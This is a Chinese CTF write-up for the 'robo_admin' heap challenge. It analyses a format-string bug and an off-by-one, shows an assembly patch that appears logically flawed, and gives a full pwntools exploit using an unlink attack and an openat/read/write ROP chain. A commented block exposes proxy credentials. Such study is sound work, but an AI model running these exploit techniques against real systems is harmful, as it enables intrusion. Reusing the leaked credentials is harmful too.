首页 > 基础资料 博客日记

2026软件系统安全赛区域现场赛robo_admin解析

2026-04-22 17:00:02基础资料围观1

本篇文章分享2026软件系统安全赛区域现场赛robo_admin解析,对你有帮助的话记得收藏一下,看极客资料网收获更多编程知识

小总结(可以不看)

第一次去线下就爆零了,师兄拼尽全力还没带动我,唉。这个题我前面上通防发现修复失败,然后试了把那个fmt的printf改成puts还是修复失败,后面想了好久还是没想出来,后面看题才发现要输出那个字符串,当时我还不太会写这种执行自己写代码的patch,只会在原有的代码上修修补补,所以就没patch出来。因为感觉patch比attack简单,我没patch出来之后才开始去想怎么attack,此时不论是时间还是心态都不太行了,而且这题的攻击思路我之前还是没见过(并不是很难,但有点不好想)。所以爆零了,还是我实力不行啊,当时还不会ida的各种操作以及写自己代码然后跳转过去执行,只能说还得多练。

robo_admin

源码解析与patch

这题其实不算很难,这题保护全开,然后沙箱禁了execve及其变体和open,但解题之前肯定要看懂这个程序在干嘛。先简单重命名一下这些函数和变量,看的好受一点,第一个主菜单:
U62MZL{NQ64NTG}X86%V

前面有几个初始化的函数,要注意看的就是这个

void *init()
{
  void *result; // rax
  int n7; // [rsp+Ch] [rbp-4h]

  for ( n7 = 0; n7 <= 7; ++n7 )
  {
    if ( list[n7] )
    {
      free(list[n7]);
      list[n7] = 0;
    }
    sizeee[n7] = 0;
  }
  memset(&s_, 0, 0xC0u);
  memset(useflag, 0, 8u);
  result = memset(s__1, 0, 0x100u);
  noteflag = 0;
  dword_52C4 = 0;
  flag1 = 0;
  p_rand = 0;
  rand = 0;
  return result;
}

可以看见他free了很多堆块,这个后面有用。

其他的函数简单来说就是初始化沙箱,然后获取随机数放在bss段上作为登入的密码,然后puts各个字符串。

我们看看setnote:
H7}%C5VOE$7D61V8MLM6`U

很简单,就是输入一些note,然后检查note里有没有$和%,如果有就直接退出,如果没有就会解码,解码后会复制到全局变量s_1上,我们看看解码:

__int64 __fastcall decode(__int64 p_s, __int64 p_src, unsigned __int64 n256)
{
  __int64 v4; // rax
  __int64 v5; // rax
  int v7; // [rsp+20h] [rbp-18h]
  int v8; // [rsp+24h] [rbp-14h]
  __int64 v9; // [rsp+28h] [rbp-10h]
  __int64 i; // [rsp+30h] [rbp-8h]

  v9 = 0;
  for ( i = 0; *(p_s + i); ++i )
  {
    if ( n256 <= v9 + 1 )
      return 0xFFFFFFFFLL;
    if ( *(p_s + i) == '\\' && *(i + 1 + p_s) == 'x' )
    {
      v7 = sub(*(i + 2 + p_s));
      v8 = sub(*(i + 3 + p_s));
      if ( v7 < 0 || v8 < 0 )
        return 0xFFFFFFFFLL;
      v4 = v9++;
      *(p_src + v4) = v8 | (16 * v7);#比如说输入的是\x23,那v7就是2,v8就是3
      i += 3;
    }
    else
    {
      v5 = v9++;
      *(v5 + p_src) = *(p_s + i);
    }
  }
  *(p_src + v9) = 0;
  return 0;
}
__int64 __fastcall sub(char n47)
{
  if ( n47 > 47 && n47 <= 57 )#ascii码的0-9
    return (n47 - 48);#数字的0-9
  if ( n47 > 96 && n47 <= 102 )#ascii码的a-f
    return (n47 - 87);#0xa-0xf
  if ( n47 <= 64 || n47 > 70 )#超出范围直接返回error
    return 0xFFFFFFFFLL;
  return (n47 - 55);#9-0xf
}

可以看见就是循环处理我们的输入,如果有\和x就进入sub函数,sub函数简单来说就是把我们输入的ascii码变成数字,以便后续计算,总的来说这个程序就是把转移字符变成本来的字符,比如\x25就是%,如果没有\x就正常写入。所以这里如果是attack我们就只需要把%和$变成转移字符输入就可以输入格式化字符串了。然后我们看看show

unsigned __int64 __fastcall show(__int64 p_nptr, __int64 n16)
{
  __int64 v2; // rdx
  __int64 v3; // rcx
  __int64 v4; // r8
  __int64 v5; // r9
  __int64 p_rand; // [rsp+0h] [rbp-40h]
  __int64 rand; // [rsp+8h] [rbp-38h]
  _QWORD STACK_ANCHOR_[2]; // [rsp+10h] [rbp-30h] BYREF
  __int64 v10; // [rsp+20h] [rbp-20h]
  __int64 v11; // [rsp+28h] [rbp-18h]
  unsigned __int64 v12; // [rsp+38h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  p_rand = ::p_rand;
  rand = ::rand;
  strcpy(STACK_ANCHOR_, "STACK_ANCHOR");
  BYTE5(STACK_ANCHOR_[1]) = 0;
  HIWORD(STACK_ANCHOR_[1]) = 0;
  v10 = 0;
  v11 = 0;
  puts("=== Robo Admin Status ===");
  puts("Robot core: online");
  puts("Task queue: healthy");
  printf("Notice: ");
  if ( noteflag )
  {
    if ( dword_52C4 )
    {
      printf("%s", s__1);
    }
    else
    {
      dword_52C4 = 1;
      printf(s__1, n16, v2, v3, v4, v5, p_rand, rand, STACK_ANCHOR_[0], STACK_ANCHOR_[1], v10, v11);#fmt
    }
    puts(&s__2);
  }
  else
  {
    puts("(empty)");
  }
  return v12 - __readfsqword(0x28u);
}

可以看见下面那个printf非常明显,我们的s__1就是我们输入的,他作为第一个参数就有格式化字符串漏洞了,这里还非常好心地把随机数放在栈上了。然后我们看看login

__int64 login()
{
  char s[8]; // [rsp+0h] [rbp-100h] BYREF
  __int64 v2; // [rsp+8h] [rbp-F8h]
  __int64 v3; // [rsp+10h] [rbp-F0h]
  __int64 v4; // [rsp+18h] [rbp-E8h]
  __int64 v5; // [rsp+20h] [rbp-E0h]
  char s1[8]; // [rsp+30h] [rbp-D0h] BYREF
  __int64 v7; // [rsp+38h] [rbp-C8h]
  __int64 v8; // [rsp+40h] [rbp-C0h]
  __int64 v9; // [rsp+48h] [rbp-B8h]
  __int64 v10; // [rsp+50h] [rbp-B0h]
  __int64 v11; // [rsp+58h] [rbp-A8h]
  __int64 v12; // [rsp+60h] [rbp-A0h]
  __int64 v13; // [rsp+68h] [rbp-98h]
  char buf_[8]; // [rsp+70h] [rbp-90h] BYREF
  __int64 v15; // [rsp+78h] [rbp-88h]
  __int64 v16; // [rsp+80h] [rbp-80h]
  __int64 v17; // [rsp+88h] [rbp-78h]
  __int64 v18; // [rsp+90h] [rbp-70h]
  __int64 v19; // [rsp+98h] [rbp-68h]
  __int64 v20; // [rsp+A0h] [rbp-60h]
  __int64 v21; // [rsp+A8h] [rbp-58h]
  __int64 v22; // [rsp+B0h] [rbp-50h]
  __int64 v23; // [rsp+B8h] [rbp-48h]
  __int64 v24; // [rsp+C0h] [rbp-40h]
  __int64 v25; // [rsp+C8h] [rbp-38h]
  __int64 v26; // [rsp+D0h] [rbp-30h]
  __int64 v27; // [rsp+D8h] [rbp-28h]
  __int64 v28; // [rsp+E0h] [rbp-20h]
  __int64 v29; // [rsp+E8h] [rbp-18h]
  unsigned __int64 v30; // [rsp+F8h] [rbp-8h]

  v30 = __readfsqword(0x28u);
  *s1 = 0;
  v7 = 0;
  v8 = 0;
  v9 = 0;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  v13 = 0;
  *buf_ = 0;
  v15 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  v19 = 0;
  v20 = 0;
  v21 = 0;
  v22 = 0;
  v23 = 0;
  v24 = 0;
  v25 = 0;
  v26 = 0;
  v27 = 0;
  v28 = 0;
  v29 = 0;
  *s = 0;
  v2 = 0;
  v3 = 0;
  v4 = 0;
  v5 = 0;
  puts("Token:");
  read1(s1, 64);
  puts("Password (32 hex):");
  read1(buf_, 128);
  snprintf(s, '(', "%016lx%016lx", p_rand, rand);
  if ( !strcmp(s1, "ROBOADMIN") && !strcmp(buf_, s) )
  {
    puts("[+] login success");
    return 1;
  }
  else
  {
    puts("[X] login failed");
    return 0;
  }

就是个登入的函数,检查密码和用户名是不是相同,密码是随机数可以用fmt泄露,所以我们肯定能登入进去。

登入进去的菜单就不详细解释了,就是正常的堆的菜单题,没有uaf,这个结构多了名字和size和一个标志。漏洞点在edit

int edit()
{
  __int64 size_1; // rax
  unsigned __int64 v1; // r12
  ssize_t v2; // rbx
  _QWORD *v3; // rax
  unsigned int size; // [rsp+Ch] [rbp-24h]
  size_t size_4; // [rsp+10h] [rbp-20h]
  ssize_t v7; // [rsp+18h] [rbp-18h]

  LODWORD(size_1) = getindex();
  size = size_1;
  if ( size_1 >= 0 )
  {
    if ( useflag[size_1] )
    {
      size_1 = pu1up2down("Write length :", 1, sizeee[size_1] + 1LL);#size+1!!
      size_4 = size_1;
      if ( size_1 )
      {
        puts("New desc bytes:");
        v7 = read(0, list[size], size_4);
        if ( v7 > 0 )
        {
          if ( sizeee[size] <= v7 )
          {
            if ( sizeee[size] )
              *(list[size] + sizeee[size] - 1LL) = 0;
          }
          else
          {
            *(list[size] + v7) = 0;
          }
          v1 = sizeee[size];
          v2 = v7;
          v3 = name(size);
          if ( v1 <= v7 )
            v2 = v1;
          *v3 = v2;
          LODWORD(size_1) = puts("[+] task updated");
        }
        else
        {
          LODWORD(size_1) = puts("[X] read failed");
        }
      }
    }
    else
    {
      LODWORD(size_1) = puts("[X] empty");
    }
  }
  return size_1;
}

可以看见我们这个write输入的长度居然是size+1,明显有off by one了。

至此我们整个程序分析的差不多了,我先讲patch再讲attack。patch的话很简单,虽然理论上这两个漏洞(fmt和off by one)修一个就可以了,甚至上通防也可以,但这题不一样,它要你输出对应的字符串
{U}}FTVS5$9TV2@CX$`Z@N9

所以这里我们需要自己写函数,在哪写呢?可以选.eh_frame段,为什么选这个段?因为这个段对程序正常执行影响不大,改了影响不会很大,不会说改错了某个地方就执行不了程序了,当然其实也可以自己申请一个段等等,不过因为这个段是不可执行的,我们需要改一下这个段的flag标志,先按ALT +T搜一下EH_FRAME
OCRE@Q30)U6{3%3@9MC(DV

第一个就是我们要找的路标,我们双击第一行
EE(2B6SDH{3OUAX{CT%9@$L

这里其实eh_frame是第四个,我们把flag改成7或者5即可
4C%SV_WD0G7L@17XXL73

接下来的问题就是如果我们写好了代码,应该在哪控制程序跳转过去执行呢?我个人觉得在解码后把note写回栈上的时候跳转好一点,我觉得这里好一点
7M8MALFDK10
也就是这个汇编代码

.text:000000000000160E                 mov     [rax], dl
.text:0000000000001610                 add     qword ptr [rbp-8], 3
.text:0000000000001615                 jmp     short loc_163B

我们分析可以知道本来的伪c代码就是要把解码后的转义字符写回栈上,dl就是一个8位的寄存器(一个字符),所以我们可以推出汇编的dl里一定是解码后的转义字符,我们把这个mov改成call 我们自己写的代码,然后cmp dl,24h等去比较他是不是$和%就可以实现发现解码后的危险字符了,发现之后我们再写一段代码跳转执行puts打印那串字符即可。思路就是这样,具体操作我也讲一下自己的办法,keypatch这个插件是不能直接对着数据用asm去写汇编的,需要对着指令才行,我们只需要先nop
8XIJCOHZ_6NOAT%IGFY5

然后点一下这个区域的开头,然后按c即可
4BS0%AZ%VL%Z%X0BLQG}C6V

这样我们就可以正常写汇编了,但是我们跳转需要call 一个东西,正常来说是一个名字,当然也可以call [rip+...]这样也可以,这里我们只需要对着这个开头按n,给这个代码块取一个名字就可以了,比如叫check
7J4{_8HA1_OVCX$Y)NC7B

这样我们想跳转过来执行就可以call check了。后面就是正常写汇编了,字符串随便在这个段上选个地方放就好,用keypatch的change byte再复制16进制的ascii码就好了,代码如下

.text:000000000000160E                 call    loc_3481
.text:0000000000001613                 nop
.text:0000000000001614                 nop
.eh_frame:0000000000003481
.eh_frame:0000000000003481 loc_3481:                               ; CODE XREF: sub_1528+E6↑p
.eh_frame:0000000000003481                 cmp     dl, 24h ; '$'
.eh_frame:0000000000003484                 jnz     short loc_34A8
.eh_frame:0000000000003486                 cmp     dl, 25h ; '%'
.eh_frame:0000000000003489                 jnz     short loc_34A8
.eh_frame:000000000000348B                 mov     [rax], dl
.eh_frame:000000000000348D                 add     qword ptr [rbp-8], 3



.eh_frame:00000000000034A8 loc_34A8:                               ; CODE XREF: .eh_frame:0000000000003484↑j
.eh_frame:00000000000034A8                                         ; .eh_frame:0000000000003489↑j
.eh_frame:00000000000034A8                 mov     r10, rdi
.eh_frame:00000000000034AB                 lea     rdi, string     ; "[X] decoded input contains illegal char"...
.eh_frame:00000000000034B2                 call    _puts
.eh_frame:00000000000034B7                 mov     rdi, r10
.eh_frame:00000000000034BA                 jmp     loc_1617

写完保存一下就好了
U%ZPO}R5F2G%YVKY$8TBP

这里因为我写的代码是如果检测到%或者$直接不让输入了,所以改不改那个printf都可以,因为他写不了格式化字符串,没改也没事,当然如果实在害怕就可以把call _printf改成call puts,运行效果如下
O09)1P57$XFK_EL9$B)7)H

Attack

我们要登入进去才可以对堆块进行操作,而我们恰好有格式化字符串,所以可以用格式化字符串把登入的密码,pie基地址,libc基地址(这里也可以泄露栈地址,我就先不泄露等后面用环境变量了),泄露完之后我们就可以登入进去了,登入进去之后还记得初始化的时候程序free了很多堆块么,我们在输入的时候gdb下断点看看
2NH71GY7K{D}N{RCRYNO

可以看到tcache有一些链表是满的(7个),这时我们如果再释放一个堆,如果不进fastbin的话就会直接进unsortedbin,而且我们这里还有一个off by one,这样我们只要能登入进去就可以打unlink,就可以在bss段上堆的链表内写环境变量,然后再用list函数泄露出栈地址,然后再往栈上写orw,禁了open可以用opennat。

总体思路就是这样,具体实现的时候记得off by one改堆块的大小的时候要保证这个堆块物理相邻的堆块的size位要布局好,不然是free不了我们改完大小的堆块的。这里好像我用0xd8的输入大小还是不太够,所以我就先调用read再往栈上写了一个rop链,exp如下:

#!/usr/bin/env python3
from pwn import *
import sys
from ctypes import *
#from pwncli import *
import socks
# cli_script()
#from ae64 import AE64
#from pymao import *
#context.log_level='debug'
context.arch='amd64'
elf=ELF('./pwn')
libc = ELF('./libc.so.6')
# libc1=cdll.LoadLibrary('./libc.so.6')
li='./libc.so.6'
'''
socks.set_default_proxy(
    socks.SOCKS5,
    "81.dart.ccsssc.com",
    25790,
    username="1nkvap1o",
    password="cl330rd",
    rdns=True
)
socket.socket = socks.socksocket
'''
flag = 0
if flag:
    p = remote('1')
else:
    p = process('./pwn')
sa = lambda s,n : p.sendafter(s,n)
sla = lambda s,n : p.sendlineafter(s,n)
sl = lambda s : p.sendline(s)
slr = lambda s : p.sendline(str(s).encode())
sd = lambda s : p.send(s)
sdr = lambda s : p.send(str(s))
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
rcl = lambda : p.recvline()
leak = lambda name,addr :log.success(name+"--->"+hex(addr))
u6 = lambda a : u64(rc(a).ljust(8,b'\x00').strip())
i6 = lambda a : int(a,16)
def csu():
    pay=p64(0)+p64(0)+p64(1)
    return pay
def ph(s):
    print(hex(s))
def dbg():
    #context.terminal = ['tmux', 'splitw', '-h']
    gdb.attach(p)#maybe gdbscript='set debug-file-directory ./star'
    pause()
def setnote(s):
    ru(b"> ")
    slr(1)
    sl(s)
def show():
    ru(b"> ")
    slr(2)
    ru(b"Notice: ")
def login(a):
    ru(b"> ")
    slr(3)
    ru(b"Token:")
    sl(b"ROBOADMIN")
    ru(b"Password (32 hex):")
    sd(a)
    ru(b"[+] login success")
def add(d,s):
    ru(b"> ")
    slr(1)
    ru(b"Index:")
    slr(d)
    ru(b"Task name:")
    sl(b'firefly')
    ru(b"Desc size:")
    slr(s)
def edit(d,s,a):
    ru(b"> ")
    slr(2)
    ru(b"Index:")
    slr(d)
    ru(b"Write length :")
    slr(s)
    ru(b"New desc bytes:")
    sd(a)
def free(s):
    ru(b"> ")
    slr(5)
    ru(b"Index:")
    slr(s)
def list():
    ru(b"> ")
    slr(4)
#dbg()
setnote(b'\\x256\\x24p.\\x257\\x24p.\\x2515\\x24p.\\x2523\\x24p.')#这里也可以用rb'\x24'去替换b'\\'
show()
a,b,pie,libcbase,d=rcl().strip().decode().split('.')
c=a[2:]+b[2:]
pie=i6(pie)-0x2893
libcbase=i6(libcbase)-0x29d90
st=libcbase+libc.sym['environ']
sys=libcbase+0x91316
rdi=libcbase+0x2a3e5
rax=libcbase+0x45eb0
rsi=libcbase+0x2be51
rdb=libcbase+0x904a9#pop rdx;pop rbx;ret
login(c)
tar=pie+0x5140+8
for i in range(8):
    add(i,0xd8)
edit(1,0xd9,flat(0,0xd0,tar-0x18,tar-0x10)+0xb0*b'b'+p64(0xd0)+b'\xf0')
edit(3,0x10,p64(0)+p64(0xd1))
ph(tar)
free(2)
edit(1,0xd8,p64(0)*2+p64(st)+p64(pie+0x5140))
list()
ru(b'desc=')
stack=u6(6)-0x190
ph(stack)
edit(1,0x18,flat(stack,pie+0x5140)+b'./flag\x00\x00')
pay1=flat(rax,0,rdi,0,rsi,stack+0x50,rdb,0x500,0,sys)
edit(0,0xd8,pay1)
pay=flat(rax,0x101,rdi,0xFFFFFFFFFFFFFF9c,rsi,pie+0x5140+0x10,rdb,0,0,sys,rax,0,rdi,3,rsi,pie+0x5500,rdb,0x100,0,sys,rax,1,rdi,1,rsi,pie+0x5500,rdb,0x100,0,sys)
#dbg()
sd(pay)
ti()

效果如下:
}ISAZ1O9~S){LGM%U%ZY7
这个题还是要感谢师兄的指点,我确实没想到unlink...,感谢感谢感谢orz。


文章来源:https://www.cnblogs.com/firefly-star/p/19910029
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:jacktools123@163.com进行投诉反馈,一经查实,立即删除!

标签:

相关文章

本站推荐

标签云